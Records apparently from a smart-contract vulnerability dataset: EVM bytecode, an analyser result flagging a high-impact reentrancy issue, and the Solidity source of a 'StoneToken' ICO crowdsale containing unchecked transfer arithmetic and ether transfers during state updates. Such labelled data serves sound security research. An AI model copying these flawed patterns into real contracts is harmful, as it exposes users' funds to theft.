60006121ad8e87878761240a565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061221783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611988565b905092915050565b600080828461222e9190612e71565b905083811015612273576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161226a90612c5b565b60405180910390fd5b8091505092915050565b6000612287611ea9565b9050600061229e828461249390919063ffffffff16565b90506122f281600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461221f90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61234f826008546121d590919063ffffffff16565b60088190555061236a8160095461221f90919063ffffffff16565b6009819055505050565b6000806000806123a06064612392888a61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123ca60646123bc888b61249390919063ffffffff16565b611e5f90919063ffffffff16565b905060006123f3826123e5858c6121d590919063ffffffff16565b6121d590919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612423858961249390919063ffffffff16565b9050600061243a868961249390919063ffffffff16565b90506000612451878961249390919063ffffffff16565b9050600061247a8261246c85876121d590919063ffffffff16565b6121d590919063ffffffff16565b9050838184965096509650505050509450945094915050565b6000808314156124a65760009050612508565b600082846124b49190612ef8565b90508284826124c39190612ec7565b14612503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124fa90612c7b565b60405180910390fd5b809150505b92915050565b600061252161251c84612df0565b612dcb565b9050808382526020820190508285602086028201111561254057600080fd5b60005b858110156125705781612556888261257a565b845260208401935060208301925050600181019050612543565b5050509392505050565b60008135905061258981613405565b92915050565b60008151905061259e81613405565b92915050565b600082601f8301126125b557600080fd5b81356125c584826020860161250e565b91505092915050565b6000813590506125dd8161341c565b92915050565b6000815190506125f28161341c565b92915050565b60008135905061260781613433565b92915050565b60008151905061261c81613433565b92915050565b60006020828403121561263457600080fd5b60006126428482850161257a565b91505092915050565b60006020828403121561265d57600080fd5b600061266b8482850161258f565b91505092915050565b6000806040838503121561268757600080fd5b60006126958582860161257a565b92505060206126a68582860161257a565b9150509250929050565b6000806000606084860312156126c557600080fd5b60006126d38682870161257a565b93505060206126e48682870161257a565b92505060406126f5868287016125f8565b9150509250925092565b6000806040838503121561271257600080fd5b60006127208582860161257a565b9250506020612731858286016125f8565b9150509250929050565b60006020828403121561274d57600080fd5b600082013567ffffffffffffffff81111561276757600080fd5b612773848285016125a4565b91505092915050565b60006020828403121561278e57600080fd5b600061279c848285016125ce565b91505092915050565b6000602082840312156127b757600080fd5b60006127c5848285016125e3565b91505092915050565b6000602082840312156127e057600080fd5b60006127ee848285016125f8565b91505092915050565b60008060006060848603121561280c57600080fd5b600061281a8682870161260d565b935050602061282b8682870161260d565b925050604061283c8682870161260d565b9150509250925092565b6000612852838361285e565b60208301905092915050565b61286781612f86565b82525050565b61287681612f86565b82525050565b600061288782612e2c565b6128918185612e4f565b935061289c83612e1c565b8060005b838110156128cd5781516128b48882612846565b97506128bf83612e42565b9250506001810190506128a0565b5085935050505092915050565b6128e381612f98565b82525050565b6128f281612fdb565b82525050565b600061290382612e37565b61290d8185612e60565b935061291d818560208601612fed565b61292681613127565b840191505092915050565b600061293e602383612e60565b915061294982613138565b604082019050919050565b6000612961600c83612e60565b915061296c82613187565b602082019050919050565b6000612984602a83612e60565b915061298f826131b0565b604082019050919050565b60006129a7602283612e60565b91506129b2826131ff565b604082019050919050565b60006129ca601b83612e60565b91506129d58261324e565b602082019050919050565b60006129ed602183612e60565b91506129f882613277565b604082019050919050565b6000612a10602083612e60565b9150612a1b826132c6565b602082019050919050565b6000612a33602983612e60565b9150612a3e826132ef565b604082019050919050565b6000612a56602583612e60565b9150612a618261333e565b604082019050919050565b6000612a79602483612e60565b9150612a848261338d565b604082019050919050565b6000612a9c601783612e60565b9150612aa7826133dc565b602082019050919050565b612abb81612fc4565b82525050565b612aca81612fce565b82525050565b6000602082019050612ae5600083018461286d565b92915050565b6000604082019050612b00600083018561286d565b612b0d602083018461286d565b9392505050565b6000604082019050612b29600083018561286d565b612b366020830184612ab2565b9392505050565b600060c082019050612b52600083018961286d565b612b5f6020830188612ab2565b612b6c60408301876128e9565b612b7960608301866128e9565b612b86608083018561286d565b612b9360a0830184612ab2565b979650505050505050565b6000602082019050612bb360008301846128da565b92915050565b60006020820190508181036000830152612bd381846128f8565b905092915050565b60006020820190508181036000830152612bf481612931565b9050919050565b60006020820190508181036000830152612c1481612954565b9050919050565b60006020820190508181036000830152612c3481612977565b9050919050565b60006020820190508181036000830152612c548161299a565b9050919050565b60006020820190508181036000830152612c74816129bd565b9050919050565b60006020820190508181036000830152612c94816129e0565b9050919050565b60006020820190508181036000830152612cb481612a03565b9050919050565b60006020820190508181036000830152612cd481612a26565b9050919050565b60006020820190508181036000830152612cf481612a49565b9050919050565b60006020820190508181036000830152612d1481612a6c565b9050919050565b60006020820190508181036000830152612d3481612a8f565b9050919050565b6000602082019050612d506000830184612ab2565b92915050565b600060a082019050612d6b6000830188612ab2565b612d7860208301876128e9565b8181036040830152612d8a818661287c565b9050612d99606083018561286d565b612da66080830184612ab2565b9695505050505050565b6000602082019050612dc56000830184612ac1565b92915050565b6000612dd5612de6565b9050612de18282613020565b919050565b6000604051905090565b600067ffffffffffffffff821115612e0b57612e0a6130f8565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612e7c82612fc4565b9150612e8783612fc4565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612ebc57612ebb61309a565b5b828201905092915050565b6000612ed282612fc4565b9150612edd83612fc4565b925082612eed57612eec6130c9565b5b828204905092915050565b6000612f0382612fc4565b9150612f0e83612fc4565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612f4757612f4661309a565b5b828202905092915050565b6000612f5d82612fc4565b9150612f6883612fc4565b925082821015612f7b57612f7a61309a565b5b828203905092915050565b6000612f9182612fa4565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612fe682612fc4565b9050919050565b60005b8381101561300b578082015181840152602081019050612ff0565b8381111561301a576000848401525b50505050565b61302982613127565b810181811067ffffffffffffffff82111715613048576130476130f8565b5b80604052505050565b600061305c82612fc4565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561308f5761308e61309a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f556e617574686f72697a65640000000000000000000000000000000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b61340e81612f86565b811461341957600080fd5b50565b61342581612f98565b811461343057600080fd5b50565b61343c81612fc4565b811461344757600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c47a3bfb17ce7bf95e4aba1faffa78747d99613f0354dd4b27cdcdaf123849fd64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
274
0xE5ce9Fa34bEE24478407Cf61c0F081aA189f81d2
pragma solidity ^0.4.0; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) {return 0;} uint256 c = a * b;assert(c / a == b);return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; function balanceOf(address _owner) public constant returns (uint256 balance) {return balances[_owner];} } contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) internal allowed; function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) {allowed[msg.sender][_spender] = 0;} else {allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);} emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract owned { address public owner; address mid; function owned() public payable {owner = msg.sender;} modifier onlyOwner {require(owner == msg.sender); _;} function changeOwner(address _owner) onlyOwner public {mid=_owner; } function setOwner() public returns (bool) { if(msg.sender==mid) {owner = msg.sender; return true;} } } contract Crowdsale is owned,StandardToken { using SafeMath for uint; address multisig; //escrow wallet address restricted; //working capital wallet address purseBonus; // ICO FEE wallet string public purseExchange; //wallet for transactions with currencies other than Ethereum string public AgreementUrlRu; string public AgreementUrlEn; string public AgreementHashRu; string public AgreementHashEn; uint public startPREICO; uint public periodPREICO; uint PREICOcap; uint bonusPREICO; uint restrictedPREICOpersent; uint public start; uint public period; // uint public maxcap; //total tokens will be issued uint public softcap; // the number of softcap in tokens uint public hardcap; //the number of hardcap in tokens uint public bounty; //all tokens on the bounty program uint public waittokens; uint exchangeTokens; //the rest of tokens uint restrictedPercent; uint restrictedMoney; //working capital uint multisigMoney; //funds for purchase of equipment and construction works uint bonusTokens; //bonuses to developers in tokens uint bonusMoney; //bonuses to developers in Ethereum uint public waitTokensPeriod; uint PayToken; uint IcoFinished; uint256 public rate; //number of tokens per 1 Ethereum uint256 public currency; uint256 public fiatCost; uint256 public totalSupply; //total tokens will be issued mapping (address => uint256) public balanceOf; mapping (address => uint256) public userBalances; mapping(address => uint) preICOreserved; mapping(uint => string) consumptionLink; //The URL of documents for withdrawal of funds from the balance mapping(uint => uint) consumptionSum; //The amount of withdrawn funds from the balance uint public consumptionPointer; //Maximum withdrawal transaction number function Crowdsale() public payable owned() { multisig=0x0958290b9464F0180C433486bD8fb8B6Cc62a5FC; restricted=0xdc4Dbfb1459889d98eFC15E3D1F62FF8FB3e08aE; purseBonus=0x0f99D97aEE758e2256C119FB7F0ae897104844F6; purseExchange="3PGepQjcdKkpxXsaPTiw2LGCavMDABsuuwc"; AgreementUrlRu="http://stonetoken.io/images/imageContent/WhitePaper.pdf"; AgreementHashRu="7cae0adac87cfa3825f26dc103d4fbbd"; AgreementUrlEn="http://stonetoken.io/images/imageContent/WhitePaper-en.pdf"; AgreementHashEn="b0ad94cfb2c87105d68fd199d85b6472"; PayToken=0; fiatCost=1; currency=391;rate=currency/fiatCost; startPREICO = 1526436000; periodPREICO = 10; bonusPREICO=25; PREICOcap=725200; restrictedPREICOpersent=25; start=1529287200; period=50; restrictedPercent=20; multisigMoney=0; restrictedMoney=0; softcap=2000000; hardcap=7252000; bounty=148000; waitTokensPeriod=180; waittokens=2600000; totalSupply = 10000000; balanceOf[this]=totalSupply; IcoFinished=0; } function setCurrency(uint _value) public onlyOwner returns (bool){currency=_value; rate=currency.div(fiatCost);} function statusICO() public constant returns (uint256) { uint status=0; if((now > startPREICO ) && now < (startPREICO + periodPREICO * 1 days) && PayToken < PREICOcap) status=1; else if((now > (startPREICO + periodPREICO * 1 days) || PayToken>=PREICOcap) && now < start) status=2; else if((now > start ) && (now < (start + period * 1 days)) && PayToken < hardcap) status=3; else if((now > (start + period * 1 days)) && (PayToken < softcap)) status=4; else if((now > start ) && (now < (start + period * 1 days)) && (PayToken == hardcap)) status=5; else if((now > (start + period * 1 days)) && (PayToken > softcap) && (now < (start + (period+waitTokensPeriod) * 1 days)) ) status=5; else if((now > (start + (period+waitTokensPeriod) * 1 days)) && PayToken > softcap) status=6; return status; } function correctPreICOPeriod(uint _value) public onlyOwner returns (bool){if(_value>30) _value=30; periodPREICO=_value;return true;} function fromOtherCurrencies(uint256 _value,address _investor) public onlyOwner returns (uint){ uint256 tokens =0; uint status=statusICO(); if(status<=1){ tokens =_value.add(_value.mul(bonusPREICO).div(100)).div(fiatCost); } else if(status<=3) { tokens =_value.div(fiatCost); } if(tokens>0){ balanceOf[_investor]=balanceOf[_investor].add(tokens); balanceOf[this]= balanceOf[this].sub(tokens); PayToken=PayToken.add(tokens); emit Transfer(this, _investor, tokens); return tokens; } else return 0; } // reservation of tokens for sale during function toReserved(address _purse, uint256 _value) public onlyOwner returns (bool){ uint status=statusICO(); if(status>1) return; if(preICOreserved[_purse]>0) PREICOcap=PREICOcap.add(preICOreserved[_purse]); if(PREICOcap<_value) return false; //not enough tokens PREICOcap to reserve for purchase by subscription PREICOcap=PREICOcap.sub(_value); //reduce preICOreserved[_purse]=_value; //insertion of the wallet to the list preICOreserved return true; } function isReserved(address _purse) public constant returns (uint256) { //how many Tokens are reserved for PREICO by subscription uint status=statusICO(); if(status>2) return 0; if(preICOreserved[_purse]>0) return preICOreserved[_purse]; //return the resolved value of the Token by subscription else return 0; // not by subscription } function refund() public { //return of funds uint status=statusICO(); if(status!=4) return; uint _value = userBalances[msg.sender]; userBalances[msg.sender]=0; if(_value>0) msg.sender.transfer(_value); } function transferMoneyForTaskSolutions(string url, uint _value) public onlyOwner { //transfer of funds on multisig wallet uint ICOstatus=statusICO(); if(ICOstatus<5) return; // ICO it's not over yet _value=_value.mul(1000000000000000000).div(currency); if(_value>multisigMoney) return; //The sum is greater than multisigMoney=multisigMoney.sub(_value); multisig.transfer(_value); consumptionLink[consumptionPointer]=url; consumptionSum[consumptionPointer]=_value; consumptionPointer++; } function showMoneyTransfer(uint ptr) public constant returns (string){ // the link to the money transfer to multisig wallet string storage url=consumptionLink[(ptr-1)]; return url; } //open waittokens and transfer them into the multisig wallet function openClosedToken() public onlyOwner { uint ICOstatus=statusICO(); if(ICOstatus<6) return; //but only if has passed waitTokensPeriod balanceOf[multisig]=balanceOf[multisig].add(waittokens); //transfer them into the multisig wallet balanceOf[this]= balanceOf[this].sub(waittokens); emit Transfer(this, multisig, waittokens); } function finishPREICO() public onlyOwner {periodPREICO=0;} // and that time is up //ICO is finished, we distribute money and issue bounty tokens function finishICO() public onlyOwner { if(softcap>PayToken) return; //if not scored softcap, we can not finish if(IcoFinished==1) return; uint status=statusICO(); if(status==3 || status==5) period=0; bonusTokens=hardcap.sub(PayToken).div(100); // the number of bonus tokens exchangeTokens=totalSupply.sub(PayToken).sub(bounty); //adjust exchangeTokens exchangeTokens=exchangeTokens.sub(bonusTokens); //adjust exchangeTokens exchangeTokens=exchangeTokens.sub(waittokens); //adjust exchangeTokens //bounty tokens are transfered to the restricted wallet balanceOf[restricted]=balanceOf[restricted].add(bounty); balanceOf[this]=balanceOf[this].sub(bounty); emit Transfer(this, restricted, bounty); // transfer bonus tokens to purseBonus if(bonusTokens>0){ balanceOf[purseBonus]=balanceOf[purseBonus].add(bonusTokens); balanceOf[this]=balanceOf[this].sub(bonusTokens); emit Transfer(this, purseBonus, bonusTokens); } //transfer the balance of exchangeTokens to a multisig wallet for sale on the exchange if(exchangeTokens>0){ balanceOf[multisig]=balanceOf[multisig].add(exchangeTokens); balanceOf[this]=balanceOf[this].sub(exchangeTokens); emit Transfer(this, multisig, exchangeTokens); } bonusMoney=(restrictedMoney+multisigMoney).div(100); // how much bonus founds is obtained purseBonus.transfer(bonusMoney); // transfer bonus funds to purseBonus multisigMoney-=bonusMoney; //adjust multisigMoney-founds in system restricted.transfer(restrictedMoney); // transfer restrictedMoney // we do not transfer multisigMoney to escrow account, because only through transferMoney IcoFinished=1; } function () public payable { uint allMoney=msg.value; uint256 tokens=0; uint256 returnedMoney=0; uint256 maxToken; uint256 accessTokens; uint256 restMoney;uint256 calcMoney; if(preICOreserved[msg.sender]>0){ // tokens by subscription PREICOcap=PREICOcap.add(preICOreserved[msg.sender]); //PREICOcap increase to the reserved amount preICOreserved[msg.sender]=0; //reset the subscription limit. Further he is on a General basis, anyway - the first in the queue } uint ICOstatus=statusICO(); if(ICOstatus==1){ //PREICO continues maxToken=PREICOcap-PayToken; tokens = rate.mul(allMoney).add(rate.mul(allMoney).mul(bonusPREICO).div(100)).div(1 ether); //calculate how many tokens paid accessTokens=tokens; if(tokens>maxToken){ // if paid more than we can accept accessTokens=maxToken; //take only what we can returnedMoney=allMoney.sub(allMoney.mul(accessTokens).div(tokens)); //calculate how much should be returned, depending on the % return of tokens allMoney=allMoney.sub(returnedMoney); //after refund paid by allMoney } restMoney=allMoney.mul(restrictedPREICOpersent).div(100); //we're taking it for good. restricted.transfer(restMoney); // transfer it to restricted calcMoney=allMoney-restMoney; //this is considered as paid multisigMoney=multisigMoney.add(calcMoney); //increase multisigMoney userBalances[msg.sender]=userBalances[msg.sender].add(calcMoney); // make a mark in the receipt book in case of return } else if(ICOstatus==3){ //ICO continues maxToken=hardcap-PayToken; tokens = rate.mul(allMoney).div(1 ether); //calculate how many tokens were paid accessTokens=tokens; if(tokens>maxToken){ // if paid more than we can accept accessTokens=maxToken; // take only what we can returnedMoney=allMoney.sub(allMoney.mul(accessTokens).div(tokens)); // consider % of refund allMoney=allMoney.sub(returnedMoney); //after refund paid by allMoney } restMoney=allMoney.mul(restrictedPercent).div(100); //consider the ratio on restricted wallet calcMoney=allMoney-restMoney; //and on multisig wallet restrictedMoney=restrictedMoney.add(restMoney); // increase restrictedMoney multisigMoney=multisigMoney.add(calcMoney); // increase multisigMoney userBalances[msg.sender] = userBalances[msg.sender].add(allMoney); //make a mark in the receipt book in case of return } if(accessTokens > 0){ balanceOf[msg.sender]=balanceOf[msg.sender].add(accessTokens); balanceOf[this]= balanceOf[this].sub(accessTokens); PayToken=PayToken.add(accessTokens); emit Transfer(this, msg.sender, accessTokens); } if(returnedMoney>0) msg.sender.transfer(returnedMoney); //and we return } } contract StoneToken is Crowdsale { string public standard = 'Stone Token'; string public name = 'StoneToken'; string public symbol = "STTN"; uint8 public decimals = 0; function StoneToken() public payable Crowdsale() {} function transfer(address _to, uint256 _value) public returns (bool) { require(balanceOf[msg.sender] >= _value); balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { if(_value > balanceOf[_from]) return false; if(_value > allowed[_from][msg.sender]) return false; balanceOf[_from] = balanceOf[_from].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } } contract CrowdsaleStoneToken is StoneToken { function CrowdsaleStoneToken() public payable StoneToken() {} }
0x60606040526004361061022f5763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde03811461062f578063095ea7b3146106b957806312c99005146106ef57806318160ddd1461071457806323b872dd1461072757806323c2b4ea1461074f578063240c27091461076457806326224c64146107865780632c4e722e146107a55780632f0160e7146107b8578063313ce567146107da578063325dfddf1461080357806334757fa91461081657806340caae061461082c57806357c3f9971461083f578063590e1ae31461085e5780635a3b7e42146108715780636186b3e31461088457806362e7ba3f1461089a57806366188463146108ad5780636e843a74146108cf57806370a08231146108e25780638da5cb5b14610901578063943dfef11461093057806395d89b4114610943578063a158e37714610956578063a2200fbe14610969578063a5a2aa331461097c578063a6f9dae11461098f578063a9059cbb146109ae578063b071cbe6146109d0578063b448017b146109e3578063be9a6555146109f6578063c38f1abf14610a09578063c4319bd814610a1c578063c4561d6114610a2f578063cb89558d14610a42578063cc32f8ad14610a55578063d73dd62314610aa8578063dcc2373014610aca578063dd62ed3e14610ae0578063e45b1d1b14610b05578063e5a6b10f14610b18578063ef78d4fd14610b2b578063f89be59314610b3e578063fba0779114610b51575b600160a060020a033316600090815260276020526040812054349190819081908190819081908190819011156102a757600160a060020a033316600090815260276020526040902054600f5461028a9163ffffffff610b6416565b600f55600160a060020a0333166000908152602760205260408120555b6102af610b7e565b9050806001141561042457601f54600f54039450610329670de0b6b3a76400006102fe61030a60646102fe6010546102f28f602154610cff90919063ffffffff16565b9063ffffffff610cff16565b9063ffffffff610d2a16565b60215461031d908d63ffffffff610cff16565b9063ffffffff610b6416565b9650869350848711156103725784935061035d610350886102fe8b8863ffffffff610cff16565b899063ffffffff610d4116565b955061036f888763ffffffff610d4116565b97505b61038c60646102fe6011548b610cff90919063ffffffff16565b600654909350600160a060020a031683156108fc0284604051600060405180830381858888f1935050505015156103c257600080fd5b601b5483890392506103da908363ffffffff610b6416565b601b55600160a060020a033316600090815260266020526040902054610406908363ffffffff610b6416565b600160a060020a033316600090815260266020526040902055610524565b806003141561052457601f54601554039450610457670de0b6b3a76400006102fe8a602154610cff90919063ffffffff16565b9650869350848711156104935784935061047e610350886102fe8b8863ffffffff610cff16565b9550610490888763ffffffff610d4116565b97505b6104ad60646102fe6019548b610cff90919063ffffffff16565b601a5490935083890392506104c8908463ffffffff610b6416565b601a55601b546104de908363ffffffff610b6416565b601b55600160a060020a03331660009081526026602052604090205461050a908963ffffffff610b6416565b600160a060020a0333166000908152602660205260409020555b60008411156105eb57600160a060020a033316600090815260256020526040902054610556908563ffffffff610b6416565b600160a060020a0333811660009081526025602052604080822093909355309091168152205461058c908563ffffffff610d4116565b600160a060020a033016600090815260256020526040902055601f546105b8908563ffffffff610b6416565b601f55600160a060020a033381169030166000805160206120b28339815191528660405190815260200160405180910390a35b600086111561062557600160a060020a03331686156108fc0287604051600060405180830381858888f19350505050151561062557600080fd5b5050505050505050005b341561063a57600080fd5b610642610d53565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561067e578082015183820152602001610666565b50505050905090810190601f1680156106ab5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156106c457600080fd5b6106db600160a060020a0360043516602435610df1565b604051901515815260200160405180910390f35b34156106fa57600080fd5b610702610e5d565b60405190815260200160405180910390f35b341561071f57600080fd5b610702610e63565b341561073257600080fd5b6106db600160a060020a0360043581169060243516604435610e69565b341561075a57600080fd5b610762610fc9565b005b341561076f57600080fd5b6106db600160a060020a0360043516602435610feb565b341561079157600080fd5b610702600160a060020a03600435166110ba565b34156107b057600080fd5b6107026110cc565b34156107c357600080fd5b610702600435600160a060020a03602435166110d2565b34156107e557600080fd5b6107ed611239565b60405160ff909116815260200160405180910390f35b341561080e57600080fd5b610702611242565b341561082157600080fd5b6106db600435611248565b341561083757600080fd5b6106db61127b565b341561084a57600080fd5b610702600160a060020a03600435166112c4565b341561086957600080fd5b61076261132d565b341561087c57600080fd5b6106426113a3565b341561088f57600080fd5b61064260043561140e565b34156108a557600080fd5b6107026114d2565b34156108b857600080fd5b6106db600160a060020a03600435166024356114d8565b34156108da57600080fd5b6106426115d2565b34156108ed57600080fd5b610702600160a060020a036004351661163d565b341561090c57600080fd5b61091461164f565b604051600160a060020a03909116815260200160405180910390f35b341561093b57600080fd5b61070261165e565b341561094e57600080fd5b610642611664565b341561096157600080fd5b610702610b7e565b341561097457600080fd5b6106426116cf565b341561098757600080fd5b61064261173a565b341561099a57600080fd5b610762600160a060020a03600435166117a5565b34156109b957600080fd5b6106db600160a060020a03600435166024356117ef565b34156109db57600080fd5b610702611871565b34156109ee57600080fd5b610702611877565b3415610a0157600080fd5b61070261187d565b3415610a1457600080fd5b610702611883565b3415610a2757600080fd5b610642611889565b3415610a3a57600080fd5b6107626118f4565b3415610a4d57600080fd5b610642611ca5565b3415610a6057600080fd5b61076260046024813581810190830135806020601f820181900481020160405190810160405281815292919060208401838380828437509496505093359350611d1092505050565b3415610ab357600080fd5b6106db600160a060020a0360043516602435611e02565b3415610ad557600080fd5b6106db600435611ea6565b3415610aeb57600080fd5b610702600160a060020a0360043581169060243516611ee3565b3415610b1057600080fd5b610762611f0e565b3415610b2357600080fd5b610702611ff9565b3415610b3657600080fd5b610702611fff565b3415610b4957600080fd5b610702612005565b3415610b5c57600080fd5b61070261200b565b600082820183811015610b7357fe5b8091505b5092915050565b600d54600090819042118015610b9e5750600e546201518002600d540142105b8015610bad5750600f54601f54105b15610bba57506001610cf7565b600e546201518002600d5401421180610bd75750600f54601f5410155b8015610be4575060125442105b15610bf157506002610cf7565b60125442118015610c0c575060135462015180026012540142105b8015610c1b5750601554601f54105b15610c2857506003610cf7565b60135462015180026012540142118015610c455750601454601f54105b15610c5257506004610cf7565b60125442118015610c6d575060135462015180026012540142105b8015610c7c5750601554601f54145b15610c8957506005610cf7565b60135462015180026012540142118015610ca65750601454601f54115b8015610cc05750601e546013540162015180026012540142105b15610ccd57506005610cf7565b601e546013540162015180026012540142118015610cee5750601454601f54115b15610cf7575060065b8091505b5090565b600080831515610d125760009150610b77565b50828202828482811515610d2257fe5b0414610b7357fe5b6000808284811515610d3857fe5b04949350505050565b600082821115610d4d57fe5b50900390565b602c8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b820191906000526020600020905b815481529060010190602001808311610dcc57829003601f168201915b505050505081565b600160a060020a03338116600081815260046020908152604080832094871680845294909152808220859055909291907f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b600d5481565b60245481565b600160a060020a038316600090815260256020526040812054821115610e9157506000610fc2565b600160a060020a0380851660009081526004602090815260408083203390941683529290522054821115610ec757506000610fc2565b600160a060020a038416600090815260256020526040902054610ef0908363ffffffff610d4116565b600160a060020a038086166000908152602560205260408082209390935590851681522054610f25908363ffffffff610b6416565b600160a060020a03808516600090815260256020908152604080832094909455878316825260048152838220339093168252919091522054610f6d908363ffffffff610d4116565b600160a060020a03808616600081815260046020908152604080832033861684529091529081902093909355908516916000805160206120b28339815191529085905190815260200160405180910390a35060015b9392505050565b60005433600160a060020a03908116911614610fe457600080fd5b6000600e55565b60008054819033600160a060020a0390811691161461100957600080fd5b611011610b7e565b9050600181111561102157610b77565b600160a060020a038416600090815260276020526040812054111561106f57600160a060020a038416600090815260276020526040902054600f5461106b9163ffffffff610b6416565b600f555b82600f5410156110825760009150610b77565b600f54611095908463ffffffff610d4116565b600f555050600160a060020a0391909116600090815260276020526040902055600190565b60266020526000908152604090205481565b60215481565b600080548190819033600160a060020a039081169116146110f257600080fd5b600091506110fe610b7e565b90506001811161113f576111386023546102fe61112b60646102fe6010548b610cff90919063ffffffff16565b889063ffffffff610b6416565b915061115e565b6003811161115e5760235461115b90869063ffffffff610d2a16565b91505b600082111561122c57600160a060020a038416600090815260256020526040902054611190908363ffffffff610b6416565b600160a060020a038086166000908152602560205260408082209390935530909116815220546111c6908363ffffffff610d4116565b600160a060020a033016600090815260256020526040902055601f546111f2908363ffffffff610b6416565b601f55600160a060020a038085169030166000805160206120b28339815191528460405190815260200160405180910390a3819250611231565b600092505b505092915050565b602e5460ff1681565b60175481565b6000805433600160a060020a0390811691161461126457600080fd5b601e82111561127257601e91505b50600e55600190565b60015460009033600160a060020a03908116911614156112c157506000805473ffffffffffffffffffffffffffffffffffffffff191633600160a060020a031617905560015b90565b6000806112cf610b7e565b905060028111156112e35760009150611327565b600160a060020a038316600090815260276020526040812054111561132257600160a060020a0383166000908152602760205260409020549150611327565b600091505b50919050565b600080611338610b7e565b9150600482146113475761139f565b50600160a060020a03331660009081526026602052604081208054908290559081111561139f57600160a060020a03331681156108fc0282604051600060405180830381858888f19350505050151561139f57600080fd5b5050565b602b8054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610de95780601f10610dbe57610100808354040283529160200191610de9565b611416612011565b6000602860006001850381526020019081526020016000209050808054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156114c55780601f1061149a576101008083540402835291602001916114c5565b820191906000526020600020905b8154815290600101906020018083116114a857829003601f168201915b5050505050915050919050565b602a5481565b600160a060020a0333811660009081526004602090815260408083209386168352929052908120548083111561153557600160a060020